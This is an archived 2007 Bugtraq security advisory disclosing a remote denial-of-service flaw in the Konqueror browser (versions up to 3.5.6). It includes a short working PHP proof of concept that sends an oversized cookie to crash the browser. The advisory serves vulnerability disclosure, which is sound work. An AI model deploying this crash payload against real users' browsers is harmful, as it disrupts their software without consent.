bugtraq - Konqueror Remote Denial Of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 14 Nov 2007 15:33:10 -0000
From: laurent.gaffie@...il.com
To: bugtraq@...urityfocus.com
Subject: Konqueror Remote Denial Of Service

Application: Konqueror <= 3.5.6
Web Site: http://www.konqueror.org/
Platform: Unix
Bug: Remote Denial of service

-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"Konqueror is an Open Source web browser with HTML 4.01 compliance, supporting Java applets, JavaScript, CSS 1, CSS 2.1, as well as Netscape plugins (for example, Flash or RealVideo plugins)."

======
2) Bug
======

Konqueror doesn't handle big cookies, so when a big cookie is sended , konqueror will crash.

=====
3)Proof of concept
=====

Proof of concept example :

<?php
ini_set("memory_limit","200M");
setcookie("hi_fox", str_repeat("A",19999999));
?>



========
4)Greets
========
Berga,team soh, #futurezone, #soh

=====
5)Credits
=====
laurent gaffié